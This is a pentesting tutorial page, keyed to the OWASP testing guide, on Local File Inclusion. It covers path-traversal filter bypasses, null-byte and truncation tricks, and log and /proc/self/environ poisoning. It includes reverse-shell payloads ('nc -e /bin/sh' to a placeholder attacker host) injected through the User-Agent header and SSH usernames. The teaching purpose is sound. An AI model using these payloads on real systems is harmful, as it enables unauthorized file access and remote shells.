Skip to content

LFI attack - Local File Inclusion

OWASP

OWASP Web Security Testing Guide 4.2 > 5. Authorization Testing > 5.1. Testing Directory Traversal File Include

ID Link to Hackinglife Link to OWASP Description
5.1 WSTG-ATHZ-01 Testing Directory Traversal File Include - Identify injection points that pertain to path traversal. - Assess bypassing techniques and identify the extent of path traversal (dot-dot-slash attack, Local/Remote file inclusion)

Local File Inclusion (LFI) is a type of security vulnerability that occurs when an application allows an attacker to include files on the server through the web browser.

The most common place we usually find LFI within is templating engines, that allows dynamic retrieval of content. Also it can be found when including external files, often scripts or templates.

LFI vulnerabilities typically occur due to poor input validation or lack of proper security mechanisms in web applications. Let's see some examples of vulnerable code:

Impact:

  • Information Disclosure: Attackers can read sensitive files, including configuration files, user data, and source code, exposing critical information.
  • Remote Code Execution: In some cases, LFI can lead to the execution of arbitrary code if an attacker can include malicious PHP or other script files.
  • Directory Traversal: LFI attacks can allow an attacker to navigate the directory structure, potentially leading to further vulnerabilities or unauthorized access.

Directory Traversal: Directory Traversal, also known as Path Traversal, focuses on navigating the file system's directory structure to access files or directories outside the intended path. While this can lead to LFI, the primary goal is often broader, encompassing the ability to read, modify, or delete files and directories.

Techniques

Non-recursive path traversal filters

One of the most basic filters against LFI is a search and replace filter, where it simply deletes substrings of (../) to avoid path traversals. For example:

Code: php

$language = str_replace('../', '', $_GET['language']);

Bypass:  if we use ....// as our payload, then the filter would remove ../ and the output string would be ../. For instance:

http://94.237.56.125:54223/index.php?language=languages/....//....//....//....//flag.txt

Encoding

If the target web application did not allow . and / in our input, we can URL encode ../ into %2e%2e%2f, which may bypass the filter.

Approved Paths

Some web applications may also use Regular Expressions to ensure that the file being included is under a specific path. For instance:

1
2
3
4
5
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

To bypass this, we may use path traversal and start our payload with the approved path, , and then use ../ to go back to the root directory.

Entensions

Some web applications append an extension to our input string (e.g. .php), to ensure that the file we include is in the expected extension.

Path Truncation

This technique is obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4.

Case one: Getting rid of the php extension

In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored. We may use this restriction to get rid of .php extensions at the end of the file.

Case two: PHP also used to remove trailing slashes and single dots in path names, so if we call (/etc/passwd/.) then the /. would also be truncated, and PHP would call (/etc/passwd). PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. ////etc/passwd is the same as /etc/passwd). Similarly, a current directory shortcut (.) in the middle of the path would also be disregarded (e.g. /etc/./passwd).

If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path. - Whenever we reach the 4096 character limitation, the appended extension (.php) would be truncated, - Also the when removing the trailing slashes and the single dots, we would have a path without an appended extension. - Finally, it is also important to note that we would also need to start the path with a non-existing directory for this technique to work.

Technique. For generating this string:

?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]

We can automate it this way:

echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

Null Bytes

PHP versions before 5.5 were vulnerable to null byte injection, which means that adding a null byte (%00) at the end of the string would terminate the string and not consider anything after it.

To exploit this vulnerability, we can end our payload with a null byte (e.g. /etc/passwd%00), such that the final path passed to include() would be (/etc/passwd%00.php).

Interesting files

Interesting Windows files

Interesting Linux files

/proc/self/environ

This files contain Environment variables. One of those variables might be HTTP_USER_AGENT, which is the user agent used by the client to access the server. So by using a proxy interceptor we could modify that header to be, let's say:

<?phpinfo()>

Local file inclusion

When it comes to get a shell here, we need to use PHP function passthru, which is similar to the exec command:

passthru — Execute an external program and display raw output

In this case, we would be adding in the user agent header the reverse shell:

<?passthru("nc -e /bin/sh <attacker IP> <attacker port>") ?> 

/var/log/auth.log or /var/log/apache2/access.log

If we have the ability to read a log file, then we can see if we can write in them in a malicious way.

For instance, with /var/log/auth.log, we can try an ssh connection and see how these attemps are recorded on the file. Then, instead of using a real username, I can set some php code:

ssh "<?passthru('nc -e /bin/sh <attacker IP> <attacker port>');?>"@$ip 

But there might be problems with blank spaces, slashes and so on, so one thing you can do is base64 encoded your netcat command, and tell the function to decode it before executing it

# base64 encode your netcat command: nc -e /bin/sh <attacker IP> <attacker port>
ssh "<?passthru(base64_decode'<base64 encoded text>');?>"@$ip 

Now just get a netcat listener in your kali attacker machine.

Tools and payloads

Last update: 2025-01-21
Created: January 18, 2023 20:02:39